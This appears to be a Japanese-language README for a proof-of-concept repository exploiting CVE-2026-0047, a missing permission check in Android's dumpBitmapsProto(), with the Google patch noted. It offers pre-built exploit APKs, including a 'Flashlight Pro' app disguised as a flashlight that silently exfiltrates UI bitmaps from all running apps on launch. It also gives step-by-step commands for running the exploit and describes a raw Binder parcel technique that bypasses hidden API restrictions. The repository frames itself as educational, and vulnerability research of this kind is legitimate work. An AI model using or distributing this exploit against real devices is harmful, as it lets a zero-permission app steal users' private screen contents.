
CVE-2026-0047: ActivityManagerService.dumpBitmapsProto() における権限チェックの欠落 — 権限ゼロで実行中のすべてのアプリからUIビットマップを窃取可能 (Android 16 QPR2 Beta)
実行中のすべてのアプリから大量のビットマップを窃取 — 権限ゼロ、ユーザー操作ゼロ。
ActivityManagerService.dumpBitmapsProto() に enforceCallingOrSelfPermission(DUMP) チェックが欠落しているため、インストール済みの任意のアプリが Android 16 QPR2 Beta (Baklava) 上で実行中の全プロセスから UI ビットマップを窃取できます。
注: この脆弱性を発見したのは私たちではありません。発見および責任ある報告の功績はすべて元の研究者に帰属します。このリポジトリには、セキュリティコミュニティがこのバグクラスと関連する悪用手法を理解できるよう、私たちが独自に行ったパッチ分析、再現、教育目的の解説を掲載しています。
| CVE | CVE-2026-0047 |
| 深刻度 | 緊急 — CVSS 8.4 |
| コンポーネント | ActivityManagerService.dumpBitmapsProto() |
| 根本原因 | 権限チェックの欠落 (CWE-280) |
| 影響 | 権限ゼロの任意のアプリが実行中の全アプリから UI ビットマップを窃取 |
| 影響を受けるバージョン | Android 16 QPR2 Beta 1–3 (Baklava)、パッチレベル < 2026-03-01 |
| 修正済み | 2026年3月 Android セキュリティ情報 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
セキュリティパッチレベルが 2026-03-01 より前の Android 16 QPR2 Beta (Baklava) エミュレータが必要です:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Raw Binder プローブ — activity サービスのトランザクションコード #117 は dumpBitmapsProto() に対応します。引数なしで送信すると、AMS 内で (SecurityException ではなく) NullPointerException が発生します。これはメソッド本体が権限チェックなしで実行されることを証明しています。
Raw Binder エクスプロイト — IBinder.transact() を使用して手作りした Parcel を AMS に直接送信します。これにより Android の hidden API 制限を完全にバイパスします — hidden_api_policy 設定は不要です。Parcel には以下が含まれます:
android.app.IActivityManager)ParcelFileDescriptor (パイプ書き込み側)userId = -2 (USER_CURRENT)dumpAll = trueBaklava エミュレータ (BP41.250725.007、パッチ 2025-08-05) で Settings、Clock、Files を開いた状態:
Google は dumpBitmapsProto() の最初の行に enforceCallingOrSelfPermission(DUMP) を追加しました。これにより、権限のない呼び出し元はデータにアクセスする前に SecurityException を受け取ります。
調査と PoC は Mobile Hacking Lab によるものです。私たちはこの脆弱性を教育目的で独自に再現しました。
この概念実証は教育および許可されたセキュリティ研究の目的のみで提供されます。自分が所有する、または明示的なテスト許可を得たデバイスと環境でのみ使用してください。著者は誤用について一切の責任を負いません。
format = "png"ビットマップ抽出 — AMS は PNG ビットマップを含む protobuf データをパイプに書き込みます。PNG マジックバイト (89 50 4E 47) と IEND トレーラーをスキャンして個々の画像を抽出します。